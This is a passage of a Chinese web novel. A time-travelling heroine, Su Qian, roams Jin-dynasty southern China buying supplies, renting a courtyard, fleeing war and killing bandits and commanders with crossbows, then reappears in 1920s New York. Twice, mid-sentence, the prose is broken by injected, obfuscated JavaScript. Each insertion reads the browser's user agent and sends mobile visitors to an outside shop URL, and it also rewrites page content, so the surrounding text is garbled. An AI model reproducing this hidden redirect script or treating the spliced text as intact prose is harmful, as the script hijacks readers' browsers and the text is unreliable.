都是茅草屋和褴褛的人群,还有,因为到了傍晚,他们已经吃过东西,或者没东西吃准备睡觉了! 苏茜不想打听,扭头继续走。终于拐到一条比官道差、比土路强的路上。休息一下,明天继续。这一路走了能有上千公里、其中一半以上是山路,完全徒步,导致她练习踢腿动作时越发顺利。 沿着路走了几天,路况越来越好,直到一座小城。 城市不大,守门的是差役而非士兵,只对大车收税,其他时候都是缩在火桶边取暖聊天,对挑担和空手进出的人根本不理会,豪华牛车也不敢上去。 吃得好、锻炼好还一路不停走了几公里的苏茜根本不觉得南方湿冷冬天只穿两条单裤会冷,不过如果一直站在那的话确实会冻出毛病。 今早看路边有霜冻。大概是今年第一次寒潮,路上行人都缩着脖子、手笼在袖子里,站立的腿不由自主地在抖。 昨天早上没有这么冷。苏茜犹豫了几秒,挑着空担子还是进城了。守门的一眼就可以看到担子是空的,投过来奇怪的眼光,但一个字也没说。 苏茜不知道他们在奇怪什么。小城真的很小,这里的小是对商业和住宅区而言。有店铺的街道只有三条石板路,再过去居然是驻军所在。 难怪守门差役不予理会,因为她运气好、只有一个城门是地方管、进来是平民的地盘,其他城门全部是军人站那。 苏茜跑遍三条街,只有一个米铺,只卖上好糯米和粳米,没有杂粮更没有绿豆小米等等。肉铺只卖羊肉,饭馆进出的人连仆役都穿得不错,有布店和裁缝铺却没有成衣铺。 另外,城里没有乞丐。 苏茜买到了这里的棉布——质地跟放了二十年的一样差劲,却比粗制苎麻布贵几十倍——细麻、丝绢、素绸,还在布店里用金子买了别人定制却长时间没来取的坏单衣服,并且高价兑了大量铜钱。铜钱只有一款而且都是相同官钱,没有私铸分量不足的,至少这一点上是诚信的。 县城毕竟是县城,物资可比镇子的品质高很多,光粳米就能分五六个档次,估计去大世家的家里能分十五六个档次,嗯,狼狈逃窜、自相残杀的宫廷可能还差一截。 此外,她终于解决了夜间照明问题:油灯和灯油,蜡烛和烛台,高、中、普通三档齐全。至于笔墨纸和书籍买得不多,倒是能存放很久的砚台买了四款不同的。苏茜娘不是文盲,但学习时间才四年,学的也是女子教材,倒是会弹七弦十三徽琴,因此嫁妆里有琴,有笛。 “客人可还要鞋履?” “可有靴?” “有!” “都拿来。” “是。” 这家店的掌柜因为一开始对苏茜的态度就很好,对那个担子没有任何异色,因此苏茜重点照顾了大笔生意,对方也用着文雅礼貌的姿态不停行礼。 苏茜不由自主地也用谢氏的那一套。让对方更加相信这是带了身家从北方迁来的子弟,细麻衣布鞋与不相称的扁担是伪装——看看客人用什么付账就知道! 门口也有走过挑着东西、穿得补丁粗麻的人经过,是往驻扎的方向。 “这城里?”她在室内指向有士兵站着的街尾。 “有大人驻在此处。”掌柜一副不想谈的样子。 苏茜懒得去琢磨这人想要情报费还是纯属不能多说。 大半天时间一站式购齐,甚至还让食肆给她用大锅装了整只烤乳猪,苏茜立即从这个县城消失——每次买满一筐她都是在窄巷内如此处理的,导致有几个“有心人”在她呆过的巷子里四处找门道无果。 快关城门时她是空着手穿着靴子走出去的,沿着来时的方向一直走,走到半夜温度过低才回去吃点东西睡觉。 冬季,岛附近海藻品质比夏季的好,尤其是晒干、风干、烘干多重干燥个半年,鲜味十足。这一点与海带四季不变有些区别。热身一下,划船出去半小时,跳下海割海藻。上船换衣服回程的时候,天气开始阴沉,还没回到岸上就开始下雨。 岛上温度变化千年来一直如此,除了少数异世界的年月寒暑对不上号导致错配,总体四季分明、不过分冷也不会太热,从不会温度骤升骤降,就是雨水太多。在风的作用下,不论穿什么雨衣撑什么雨伞,雨水总能打湿裤腿鞋子,所以她养成了不论冬夏,下雨都卷起裤腿的习惯。要不是拼命修炼锻炼,这种习惯非搞出来感冒甚至风湿。 扛着东西跑回石屋。走之前壁炉、火塘、烤炉和煤炉都点起来了,煤炉上的一大锅水在汩汩开着。 石屋的壁炉配套烟囱是苏茜-金女子爵的家乡款,简单有效稍费燃料,炉膛还有凸出的一小块可以放茶杯食物之类。火塘是低于地面的细长方形石坑,比滇省传统火塘深得多,用来烘干木头、海鲜和整锅水保温。此外,石屋里有实心石床、石桌、石凳和无门石橱柜,以及放浴桶或冲澡的石槽、有出水口排水,全部是不能移动的那种。 对了,因为保质期的关系,石屋始终没有门板窗玻璃,都是洞开的那种,因此都窄小。 厨房的大烤炉也是石质,其他炉子各种各样都有。 先将海藻放火塘上方的竹筐,然后在大浴桶里的冷水中加开水,人泡下去,连头发里的盐水一起清洗。没有专业洗发膏的结果是头发清洗不干净,可如今单调清淡的饮食,皮肤和头皮都不太出油,秋风一起面皮就要用点茶油滋润,不然能在十摄氏度的温度里出现极细的干纹——虚岁十八、周岁十七居然就长纹路了! 不宽的门窗有冷风进来,但室内仍然很暖和。大半干的树干和劈开的竹竿在壁炉边没多少日子就干透,不会烧出黑烟。竹子是个宝,但不是很好用,且过来时的大山中竹子不多——连树木都是深山中多,外围不多。苏茜是将燃料山洞及可以放木头的空地全塞满才出山的,不然看外头平整土地都是有主的情况,估计找不到地方砍树。 官道上有牛车经过,车边居然跟着不少人徒步。苏茜从道边的杂草地走,等这一群人过去,再绕过一个土丘,到下一个三叉路口。车印是朝右边,左边道路略窄些,左边的似乎是往前方山脚而去,右边的至少不是立刻到山区。 回想着自己这段时间的行进方向,苏茜觉得可能又到了山区,搞不好还是风景著称的山区。一千多年后的时代她来过,但现在,完全不知道哪是哪,路牌导航想都不要想。 找个人问吧。 “匡山啊!”不是庐山。也好。庐山太有名,不大好落脚。 “对,方圆百里都是匡山,一直到彭蠡湖边上,南边到海昏……” 苏茜眨眨眼,方圆都是?彭蠡湖?海昏?这都是哪里啊……根本搞不清楚。但匡山有不少富贵人家的别院是真。 苏茜郁闷地回到岔路上,往右。因为她听另一个路过的说是匡庐这个名字,而非匡山。 继续走了不到三天,路上人没那么多了,因为迎面也是山连山,山前还有个不太大的湖,有不少人家,山脚还有个村子。也许不是村子而是庄子,因为近了可以看到房舍很整齐,没有茅屋,倒有遮雨草棚。 再往山的方向走,才知道不是庄园、不是村子,而是个小镇,叫云拓镇。苏茜望着一路延伸到山坡上的砖瓦房,这地方听上去就是文化人起的名字。 “客人可要用饭?” “要。”发呆时没看见自己站在一家小饭铺门口。还有,现在是下午,即饭点。本地一日两餐,上午和下午,天黑睡觉。但如果富有人家夜生活丰富,可能是中午和晚上。早上则是吃些点心而非正经餐饭。 等走进去,到了第二进才知道不是小饭铺,而是颇大的酒馆。第一进全部是酒,第二进是喝酒吃饭的地方。 冬天没人坐庭院里吃东西。厅堂里有两桌、三个人在吃饭,还有六张桌是空着的。 对了,大家都是坐席,跪坐地上席子,桌也是小方桌。因此苏茜都是站在半外头外带。她真不喜欢脱鞋跪坐在冰冷的席上吃冷食。 她花“高价”又买了一筐野菜、一篮鸡蛋和一只刚杀好还没来得及煮的鸡,用的是成品价格。 捧着东西出了门,她就在转弯的某处消失。 第二天,她出现在镇上,找到裁缝铺买了一批成衣冬衣和蓑衣木屐,还花了大价钱定制了浸桐油防雨斗篷和皮靴。 第三天,她出现在镇上掮客家。这个掮客是裁缝铺介绍的,手里有不少附近出租的房子。 “……侯氏也是南迁的世家,但家财大半丢失,一时购不到田庄,建了道观安置族中寡妇,外巷是族中所建,一半自住,沿街开店铺,还有些出赁。”其实这些房子都属于道观,而道观实际属于族产。这也说明了为什么这个镇子建筑布局如此整齐,原来是族人聚居地,后来不得不“开放”给外姓。苏茜打着南逃的洛阳谢氏庶出子的身份才可能租到屋。 “可有独门独院?” “有是有,就是小贵。要的是五铢钱,不是五铢小钱。” “我可以付金子。”苏茜递过去一个实心小金珠子,示意这是给掮客的中介费。 “在下明天就去谈!”掮客多是两头收钱。苏茜这个租客给得多了。就是可惜,这位大方的客人只租不买——想买也买不到。南方安全的地方别说田庄,连像样的房舍用地都得拿出族谱证明和珍宝交换;至于城市,除非二等以上北方世家,否则别想进去。普通家族如果人足够多,还能去山里找地方。再普通的平民就只能多活一天是一天。 “好,后天此刻再会。”看在这里冬天也有瓜菜供应,鸡鸭鱼肉有好几个铺子以及早市上还有药材卖,镇上三家米店居然有两家有小麦面粉,更不要说另一家布料店里的细麻布、棉布和素绸的品质比她之前去过的小县城更好——还可以代客加工桑蚕丝棉被子和被套!真正打动她的是布料店二话不说立刻按她要求的尺寸样式裁剪棉布做被套、用毛毡做床褥,兑换铜钱的比例也比县城里便宜一点点。就冲这里的服务态度,也值得久居。 最后,苏茜用五个沉沉的金饼租了一个小院落十年,大概差不多每年租金五千多钱,算是挺高的房租,堪比和平时期洛阳城里普通客栈上房一年的房钱,还不带任何仆人热水柴禾吃食。但不久之后,有一大家子也迁来此处,买了山坡一块风水不错但面积不大的地建房,光土地就花了一箱玉器,据说不得不在山里买山头种药材为生。 这样看来,房租不能说太高。 小院面积不大,就在道观隔壁,隔着颇高的土墙可以听到隐隐的早晚课动静。房间两明二暗,加一个茅厕和一个厨房。厨房后有个颇大的杂物间,可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176465|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放东西和住仆人,普通分家出来的一家子挤挤能凑合。门只是单扇木门,前院只有个下水口类似天井的石板空间,后院狭长有一些杂草,多用于晾衣服。唯一值得称道,也是掮客说值房租的就是前院的井,盖着木盖,水质清冽,以前仆人们都是直接喝的。 这院子之前是一个庶出公子住,去年那位公子跟着好几位族人去了会稽,因此家主决定将这一片的几个院子归整后分别租给南迁的人士。房子是砖瓦木头房子,室内地面和卧榻上的席子是新换的,一大一小两个几,还有一些必需品,其他啥也没有。 附近的杂货铺也是房东家开的,家居的东西大部分都能找到,品质好价格高,还给介绍拿工钱的仆役厨娘绣娘,还可以租马车带车夫。苏茜严重怀疑对方开这家铺子就是冲着筋疲力尽支撑到这里的南迁人士开的,其中包括她这样的租客。镇上多数生意的东主都是族人,互相介绍十分热情。 苏茜根本不会睡那个看上去就不舒服的榻,加上炭盆远不如她的壁炉火塘。土灶上的铁锅倒是新的而且品质不错,她直接拿到自己的烧火炉上用。 * * * “粳米又涨了!” “不知道谁又偷偷卖粮给西边北边了。” “……” “……” 春季,北方缺水南方洪水,俗称青黄不接。南迁的大量人口都在土地不好的地方,这个时间自然对粮食有需求。只要产区有什么动静,就会立刻提价。苏茜摇头,可种粮的人从来没有多得过一个小五铢钱。 从这个小钱币可以看出来战时的通缩。苏茜将小铜钱和小铁钱都放进收藏品那一堆,买肉的时候仍然用的是正常的铜钱,卖肉的高兴地少算重量。这个铺子没有怪味的新鲜猪肉卖得贵,因此她算是老客户了,屠户还会专门跟她说下次杀猪的时间和需要留下的肉。 “这是猪皮。”特意将肥肉剔干净熬成猪油另外卖钱,简直是双赢。 “善。”一大块后腿瘦肉贴上一块猪皮,做个少油版红烧蹄髈,软糯的肉和酥烂的皮。 得去药铺买些调味料,糖也不多了。 苏茜穿着木屐打着伞跑了三趟,才将菜、肉、豆腐、佐料和葱姜酒都买齐。这一买明天就不需要出门,可以认真锻炼。 一碗海带豆腐,一碗猪蹄青菜,一碗蒸粳米饭,饭后一杯清肝热补脾胃润肠道的药茶,就是费时间。 为了不让人觉得奇怪,苏茜还是会用厨房和柴禾木炭烧水洗锅碗,在岛上下雨、现世天晴的时候在前院天井里晾晒床单被套,不过旱厕就算了,她宁愿隔几天自己提着空恭桶在凌晨从溪边来回装个样子。 也因此,她买鱼只买自称是江里捕的大鱼——小湖压根没什么鱼、围起来观景的大户也不让普通人去捕鱼。山溪里的小鱼卖得便宜,听说好吃且受人欢迎,可架不住镇子下水渠依旧是排到溪水里。即使本镇人都在下游清洗恭桶、上游洗衣服,可谁知道更上游的是不是也这样干。 今年的秋粮上市后,粮价回落了一点。苏茜在不同的米店买了两石粳米,外加小米麦粉糯米,在蛋白质还比较丰富的情况下,足够吃一年多。 抛开冬冷夏热的小院子,镇子借助江河跟陆运的便捷,物资供应充足。但危机意识已经成为苏茜的本能,看到东西就先买了囤起来是下意识行为。 这个行为现在看来非常正确。 长江上游的江夏落入赵国胡兵之手,快要沿江而下打到豫章、拿下扬城了! 抱歉,除了后世的扬城——古扬城在哪其实也不知道——苏茜真不熟悉古代地名。根据这段时间听来的消息,之前自己放弃的山区就是庐山、匡庐,交人头税、重新办身份时得到的地理名称也完全陌生,他们这是湘州,难道是湖南?不对吧!长江的上游?湖北?是了,之前襄阳有战事,湖北又在庐山西边偏北。 可在通史“详情”中,庐山是晋的,还有桃花源记,那么大概率赵兵没打下这里。或者打过来后没守住。 好几家大户说是去会稽那一带。侯家家主等人没走,他们无力继续迁徙,但有不少年轻族人和女眷已经打包坐船沿江而下,还有一支马车队伍往南去了。道观关门,因为无人去进香。 各种买卖只开半天门,店里东西似乎一夜之间卖空了般,剩下的都是非必需品。米店关张。肉铺还开着,每天都在杀猪卖钱,还便宜卖。 “你们不做肉脯吗?肉松?咸肉?腊肉?那个可以放一段时间。” “客人不知,现在哪会做这个,腊肉需得耗费数月!”做了也是自用好不好!要不是自家养了一堆猪必须卖,他们早就驾了自家的船跑了。而且,咸肉腊肉他知道,肉松是啥玩意? “哦,那我自己试试。” “客不走?” “胡兵不善水,陆路又都是山,骑兵如何过来?!” “!”听上去有道理! “反正我不走。”走得伤了,每天平地二十公里、山地五六公里,整个人状态很差,天天喝药茶到现在都没有完全调理过来。 屠户突然觉得自己可以了。这位客人明显出身不错,但身形脸色不佳,本地方言里带着中原口音,最关键的是高价租下房子后都没钱养仆役吃好菜穿锦缎,素色细麻布衣、亲手做吃的洗衣服,并且拒绝婚姻……明显就是一家南迁却失散甚至只活下来一个人。自己虽然天天劳作辛苦,可俩孙子都能帮忙称肉了,比对方好多了。 苏茜不知道卖家心里戏份那么足,知道也无所谓。生儿子才能上族谱的狗屎还是扔了的好。她对外“谢梁”的名字是她当时在谢家车队里找到的,是前夫的远亲,住洛阳郊区,家贫尚未成亲,跟着一起南迁结果连同父母都送了命。 当时胡兵没拿走、没烧掉的书籍,纸的、绢的、竹的,都在苏茜手上。一年多以来有空就看看,即使有些不太能理解具体含义,但大概能懂,因此跟人交谈偶然也能冒出来些文化人的调调。 53.衣冠不南渡(四) 镇上的人越发少,大半铺面都关闭。有偷摸去湖里捕鱼的,见没人管就越发大胆。 “这五罐我都买了。”苏茜尝过米酒的样品,二话不说就买下,还借了挑担运回家。别的不管,自制料酒可太要紧了,吃海鲜必备啊! “唉,这位客买那么多酒作甚。”伙计嘀咕着。难不成路上喝? “这不是卖得便宜!”一名本地老客人回他。 “……”是因为东家想在南方置产才便宜点卖。 结果回来还挑担的时候,苏茜又买了另一款特价年份酒,只有一小坛,抱回去。这个做炖肉用。 杂货铺是苏茜重点光顾的地方,全部便宜卖,卖得好啊!可惜粮食价格每斗又抬高了两钱,这回没人抱怨涨价,只恨车船地方太小。 小院里弄得还是比较有人气的,前庭的晾衣架、后院的菜叶子,厨房里的柴禾、书房里的书籍、卧室里的炭盆、矮榻上的毛褥。席子也是比较干净的——关着门窗,灰尘不多,就是偶然有鞋印,岛上包括石屋不可能像现世的室内不穿鞋, 好在房里的席子不是整块,而是小块拼接,甚至还有更换不同的材质颜色花纹尺寸的,让清洗晾晒工作更简单了。 厨房大锅里的热水一滚,移到厨房里的架子上一晾,明天来按到破旧地板上就算完事。 这段时间经常下雨,江边湖岸每天的湿度都很高,要命的是还刮风,一会东南风一会西北风,大伞只能顾得上腰以上,出一趟门如果不及时换衣取暖很容易感冒。可偏偏镇上大夫现在只剩一个治跌打损伤的殇医,药铺存货太少关张了,多数人如果家里没有内科疾医和药材,只能靠自己扛。抗不过去可能就真的过不去了。 苏茜现在三四天才出一次门购买生鲜食品,连着两回都碰到丧事。平民的丧事真没什么可说的,能有个仪式都是小康人家。 外面的感冒不像是流感,但也很难说有没有别的病菌病毒。 “大军开过来了!” “哪位将军领的兵?” “……” “……” 抱歉又是一堆搞不清楚谁是谁的人名。苏茜将那一点点谱学早就扔脑后,加之现在没有叫全名的,往往叫姓+授的官,有的是姓+号,有的是字+外号,什么都有,就不说全名!跟史书对不上号,自然啥也不清楚。 反正有一支军队开过去了,还白痴地沿江而上。苏茜觉得是送菜,赵兵没有沿江而下纯属北方骑兵不适应南方的客观原因,这些人觉得一群面有菜色的步兵能打得过困在原地抢不到东西而暴躁的骑兵?光是身体素质就差了一截。 果然,十几天后,败兵溃逃。有人在附近江边看到溃败的士兵。 苏茜果断地将院子里所有的东西包括矮榻柴禾衣架甚至旧席子都收走,天还没亮就挑着担子往山里走。门都没费事锁上,只是门环和门框系根绳。 二十天后,等她夜里回来时,院子门大开,没有席子的屋子里全是泥脚印和一些垃圾。可惜啥东西都没损失——她将铁锅甚至门闩井盖都带走了,比搬来租住的时候还要一贫如洗,连后院种着的菜都转移到岛上去了。 苏茜不知道镇上现在是否安全,没有多动作,只是闩上门,回岛睡一会,凌晨去镇上早市看情况。 溃兵已经离开。 镇上惨遭洗劫。 倒也不是特别惨,起码人大多活着,年轻女子没有都被糟蹋,青壮男子没有都被带走,已经很好了。 有钱大户的浮财之前都转走了大半,米粮也都是明面上都损失掉,山里地洞中的还好好存着。贫民倒有不少去从军,不知是自愿还是被迫。反正家里有死亡的人口也都埋了。 过了一个惨淡的新年元正,不知为何,居民们突然就恢复了几个月前的活力,听说有不少人跑去移栽和运输药材赚钱,还有的紧邻自家房子又造了些石砌小屋子、号称给逃难的人住。 不久后,听说上游那边的赵兵回北方去了,有的说去衮州和青州,有的说那边要去打徐州……总之,据说他们这里未来几年不会有战事。 再之后,临时跑了的大户们半数都回来了。 所有人家都受损,连苏茜都要重新装木窗和屋门,更不要说清理打扫了大半天再重新装席子放床榻安铁锅。 这个时空的徐州在哪?综合各处的消息,发现居然在庐山北边不少,看来自己的古代地理是零分!可即使知道了目前现在的徐、扬等地的行政四至范围也不一定在后世地图上画出范围。何况等这些地方落入敌手,搞不好名称边界又会变化。 人去室空的地方没多久就填满了人。春夏之交,镇上瓜果蔬菜丰富、肉类敞开供应,居然比恐慌前更加繁荣。 苏茜的房东可能是惋惜她没死,或者当初房租要得少了,总之一个字也没搭理。 炎热的夏季过去,最便宜的秋粮也比去年涨了一钱,好些的涨得更多。 “唉!这日子越发难过了!”一名自称老妪,估计也就三十五的妇人买了半袋最便宜的粳米,扫过苏茜的细麻衣,半秒都不停留地走了。 苏茜去买了两筐不是最贵档次的米,挑着走了。第二天去了另一个粮铺。连续扫了四天,将一年多的口粮买齐,存入加固过还有基础魔纹的岛上地下室。成筐的木炭加上各种其他食物,例如酒酱盐糖调料,地下室难得全部放满。只有少数放需要耗费魔力宝石的收纳箱,因此现在一颗宝石能勉强用一年。 不到年底,侯家打算卖掉全部房地产、整体迁走,还恶劣地拒绝还苏茜房租,直接将她租住的院子打包卖了走人。 * * * 苏茜当然不会吃这个亏,不仅将院子搬空,还埋伏了好几个晚上,将侯家能“拿回来”的物资全部清空,没有财物不要紧,家具、食物、柴炭、书籍等等统统可以作价。 侯家怀疑是她干的,但抓不到人也没证据。而且这地方只收税,死了人也不会管,更何况这种看上去就是家下人干的“小偷小摸”,最重要的是压根无人理睬侯家的损失。 苏茜才不管,她计算了下这些东西如果当掉的话——可不是买入价——已经差不多是自己多付的房租时才收手走人。 这回往西向北。要没有这帮畜生想打地盘到处烧杀,自己根本不会被黑掉房租,所以她有的是时间报复,顺便看看能不能弄到以后几十年高昂的生活费。将弩箭和弓箭存货用光再说,而回收重新用的仍然算在存货内。 在这之前,先练练箭法。蹲着不动的猎物勉强算是固定目标,不到五十米,中靶就行不要求八环以上。不难吧?可能是不算难,可她还是打了四次才打到一个猎物!苏茜差点扔了手里的长弓。不,这是她缺乏训练的锅,不是弓弩箭支的错。 在好不容易练出来些力量体能招式之后,苏茜发现自己要好好练准头。过了江,沿江边山脚一路走。知道大概方向,这次没多走冤枉路。倒是练武、修炼、种植和捕水产耗费很多时间。水产有咸水和淡水两种,大小品种各色各样,淡水螺蛳很新鲜,春天的淡水螃蟹没啥肉……不管哪种都是优质蛋白质,收获一次能吃两天,偶然换口味吃点风鸡鸭肉什么的。 最费力的依旧是冬季绿叶蔬菜,她甚至还用了两条不算小的存货船直接种菜,温度高些有阳光就照着,降温和晚上就盖上用锯掉的甲板做挡雨板,效果很一般,不比山洞里种的菜好多少,但总算不需要靠海带汤过日子,每隔一段时间还能吃到豆芽。 加之沿江有些是悬崖,需要翻山或是划船逆流而上,因此她的行进速度很慢。到秋天时才摸到荆州地界。 麻衣、草鞋、挑担、斗笠,挽着的裤腿一边长一边短还有破洞,这副穷苦人打扮在其他地方没人多看一眼,但在无人山间其实还挺显眼的。扁担箩筐换成背篓小铲子,朝地上瞧还能看到不少蘑菇,可惜苏茜不敢随便采不熟悉的品种,怕中毒挣扎五天后重新换地图。 但是茯苓可以!重楼什么的喜阴植物都挖出根移栽试试。吃过觉得不错的野菜也正片连泥土一起挖走。她之前在镇上定做的两辆双轮木推车如今派上用场,运货移栽,在岛上尽量做到一半自给自足。除了不能在陆地上养殖。 敌人没遇到,先遇上洪水。 连日下雨,江边草地全被淹没,还有一块稍微低洼的地方直接成了小湖。 目瞪口呆之下,苏茜总算明白为什么水边无人居住,甚至一路走来只见到三个码头。 好像洪水冲积湖里有鱼呢,既然地形和水势无法下网,要不练练叉鱼的手艺? 最后她扔了伞从小船上跳下去用桶捞鱼。两个小时七八条小鱼和两条大鱼,尽管从头到脚都是泥水,但收获满满呢! 极其新鲜的江鱼去鳞去内脏后直接用米酒和少许调料炖,最后放一大把野菜,都吃不出什么鱼腥味——或者是因为已经习惯了这种味道,不觉得腥。她搬空了侯家的酒,几十坛可能是自酿的低度甜米酒,这都是主人们当水喝的,用来煮汤,味道相当不错。 路过两个城镇用海盐交换了点生鲜,顺便看看涨得飞起的米价和凋敝的民生——一路上好像没有武昌?也许有但不知道名字。算算距离,该往北边去了。走这个方向的山区应该不会一走半年,而且也不是山连山。 胡人一直不算多。 但过了山区范围瞬间就不同了。这里开始属于赵国控制范围,没啥胡兵,准确的说是胡汉混居的地方,经常能看到雅利安血统的面孔。 苏茜一身混搭平民风,干干净净地在各种气味糅杂的小街上有点“格格不入”,不过无人在意。 “再不下雨,河水就干了。”好些个本来是想南下过温饱日子的北境移民对着干涸的河床叹息。 “我们还跳祭舞,一点用没有!” “庄稼不成了……” 他们很茫然,原以为过来有田地和奴隶,可是说好的汉人奴隶早就死了,田地撒了种子只长出来稀疏的庄稼,好不容易发黄的麦子现在连叶子一起枯死一半。而头领还要征粮!征人!这日子还能过吗! 苏茜用匕.首挑起河床底的泥,河泥都干硬了。“过了山连山,不到十天路,就是长江。但是那里之前有洪水,不知道现在有没有退去。”真的很奇怪,一江之隔居然差那么多。 “走十天?”有人心动。 “要快点走。”还要有指南针。 “那推车呢?” “不少是山路,会翻车的。”背着东西都不行。 大家都不说话了。 “除非是挖一条水渠。”有个汉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182522|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子开始做梦。不过他并不知道有个东西叫开山挖渠,起码现在是办不到的。 绝无可能!叫他们去挖矿还差不多。“看来只能去打仗了,还有口饭吃,说不定能分个女人生孩子。” “等你得到功劳,不是死了就是残废等死。”一个有些年纪的人道。“我之前的千人队伍死了大半、能站着的才三百多,可上头仍然当作一千人,要我们殿后死守。” “哈哈哈,我还碰到将奴族伤兵和尸.体一起扔在地上当路障的!” “……” “……” 苏茜不是很听得懂他们的方言,但大概意思能明白。她只是沉默地往北走。 其他人望着她大踏步的“潇洒”背影沉默。 真的得去参军才能多活一段时间了。 越往北越干旱。但是陇西那一带听说还有粮食出产,比中原好些。 但几天后,突然开始下雨,地里的庄稼救回来一点的时候,苏茜听说徐州那里真的打起来了。她摇头,尤其是吃到当地“特色”榆钱饭之后,直接往回走。 史料上说石天王就是被卖到山东做奴隶苦力的,他带了各族包括汉族想活命、想过好日子的士兵,对上一群心怀鬼胎的世家将领,想也知道输赢几何。 呵,瞎掺和什么民族感情,纯属无聊! 买了一堆做得不怎么样的牛肉干——多年没吃到牛肉,简直是热泪盈眶——苏茜毫不犹豫地动用了魔力宝石来保存,希望这一百多斤牛肉干能吃得更久些。无视被还价还得一言难尽的卖家,苏茜高高兴兴地返程,顺道还收了不少战利品。 黑灯瞎火之下,十支箭,带走五个劫道的头儿,谁让当头的能在距离火最近的地方取暖吃东西。其余人一哄而散之下还被箭带走四个。 五个领头的身上,以及马匹背上的行李有不少好物件。苏茜直接带尸.体、能找到的总共六支箭和行李囊袋回岛,一边躲避其余的劫匪偷袭围攻,一边清理。 金饰玉饰宝石配件理出来一小箱子,先不论其历史价值,就份量质地本身,在后世港城能换一栋山坡别墅。而这些人居然将抢来的最值钱的全带在身上!真是捡了大便宜。 苏茜将这些都认真放进收藏品里。 耐心地等了好些天,再回原地,连战斗的痕迹都被刚长出来的杂草掩盖大半。再次下雨,旱情缓解。 但损失的庄稼是救不回来了,也就是说战争不可避免。这个时候,灭掉羯族的冉天王大概还是小娃娃?苏茜绝望了两天,最终决定暂时不回长江以南,去汉人人口稀少的地方碰碰运气。 往东偏南,走了整整一个月,什么机会都没有。要么都是无关紧要的、连个盗匪都找不到,要么就是正规军路过,起码得有一个炮兵团才可能成事。 直到再次侧面扛上一支山匪,不到百人。她犹豫半天,装好所有的连发弩下手了。 这次箭支的损失极大,有些找不回了,更多箭头毁损,一架弩弓直接裂了。而她自己还差点受伤,但战利品一般般,估计艾州十英亩不到农田的样子。 气得苏茜继续追踪,花了仨月在山中转悠,最终再次端掉一批匪,这次收获更少! 就当是为民除害了。 苏茜郁闷得不行,休息犹豫好几天还是往正南,走山区,过长江。回平静些的地方。 不成想,夜间官道上居然有一支队伍也朝这个方向而来。 在被人发现之前苏茜就躲了。 先准备长距离武器,然后从石头后方探出望远镜。这打扮,略眼熟啊! 她眯着眼,继续等。 趴在那边没多久,镜头里慢慢骑马过来明显不同凡响的团队,从服装到马匹以及周围人簇拥环绕的模样应该是头领级别……她估算着距离和自己的能力,连发弩,十箭,不是马就是人全命中,至于死不死的其实不重要,因为现在的医疗水平很难搞定她自制箭头造成的大面积创伤,这一波至少死一个将领。 等队伍大乱来找凶手时,苏茜早就回岛休息去了。 当天半夜,出来看痕迹,这支队伍原路返回。那样打扮和神态的队伍,是吃人的。所以苏茜毫不犹豫地跟上。 每天徒步五个小时,跟了快十天,才找到他们的一个据点。潜入观察两天才知道,自己那天打死了三个,两个还挣扎活着,但一个已昏迷,一个卧床。 打劫是不可能的。苏茜再观察半天,选择邻近的屋顶,居高临下,又是两天过去。昏迷的那个死了,卧床那个也快了。 几名副手开始频繁进出商议吵架的时候,十箭连发。 然后迅速滑下屋顶,跑出一段距离再回岛。 三天后继续。 前前后后两个月,这支的中上层队伍被苏茜打死打伤十几个,普通士兵更多,而且伤者最后基本上都死了。 打完,去了心口恶气,弩箭剩下不多了。苏茜才算是心满意足地准备回南方。 这次回程全部靠指南针,一路走了快一个月才到长江边。暮春时节,划船加游泳的一点没有负担。 自己这次“复仇”之路居然花了大半年,真是够呛! 苏茜摸着自己又长出来的头发,犹豫了半天没有剪短。 这次,就去庐山当个隐士吧。 54.大饭店不大(一) 过于高兴饮酒而亡。 这种死法好还是坏? 有丰富死亡经验的某人觉得,算好的吧,总比被伤病折磨得自尽强。 苏茜因为整天换面孔肤色,没有民粹精神,但羯族后来那个恶魔首领被灭掉还是挺让人高兴的,与一群道士隐士一起喝多了。 于是她换了面孔。 棕发绿眸欧洲移民后裔,早年日晒导致的红血丝和色斑,脸和脖子手背都偏黑红,胳膊健壮、没有腰线,俗称红脖子。所以这身“高贵”的裸色连衣裙,显得,那啥,像是农家女偷了领主夫人的衣服穿。 “谢谢你,姆盖特太太。”苏茜扯出社交笑容。 “亲爱的,你看上去很漂亮。”对方笑容更是无懈可击。 是啊,这条裙子虽然不是多好,但花了大半个月的秘书薪水,其他的交完房租,连吃饭都困难。 她扭头就去老色鬼老板——对方好的是对美女而不是她——那边辞掉工作,然后从收藏品中找出来一对宝石杯子,换回来十张二十元大钞。确实属于大钞,不仅是尺寸,还包括面值。即使在纽约,这笔钱可以让她付新开张的那家时髦酒店式公寓三个月的房租以及普通餐食、不含主厨牛排。哦,禁酒,所以总体餐费能便宜些。这杯子其实属于古董范畴,属于苏拉尔-金女子爵的收藏,不记得是谁送的礼物,买入价一百多库德金币,如果在德姆城折价变卖的话,结合金币的成色,跟现在估值差不多。 “……现在只要二十美刀,二十块,一张钞票,就能通过银行贷款买二百块的股票,三个月后卖掉这些股票,付掉利息和佣金,猜猜看你能拿到多少?连同本钱,超过二百!十倍的收益!” 场内还是场外经纪人来着,居然就这样乱炒作,仿佛投了钱就立刻成富豪。 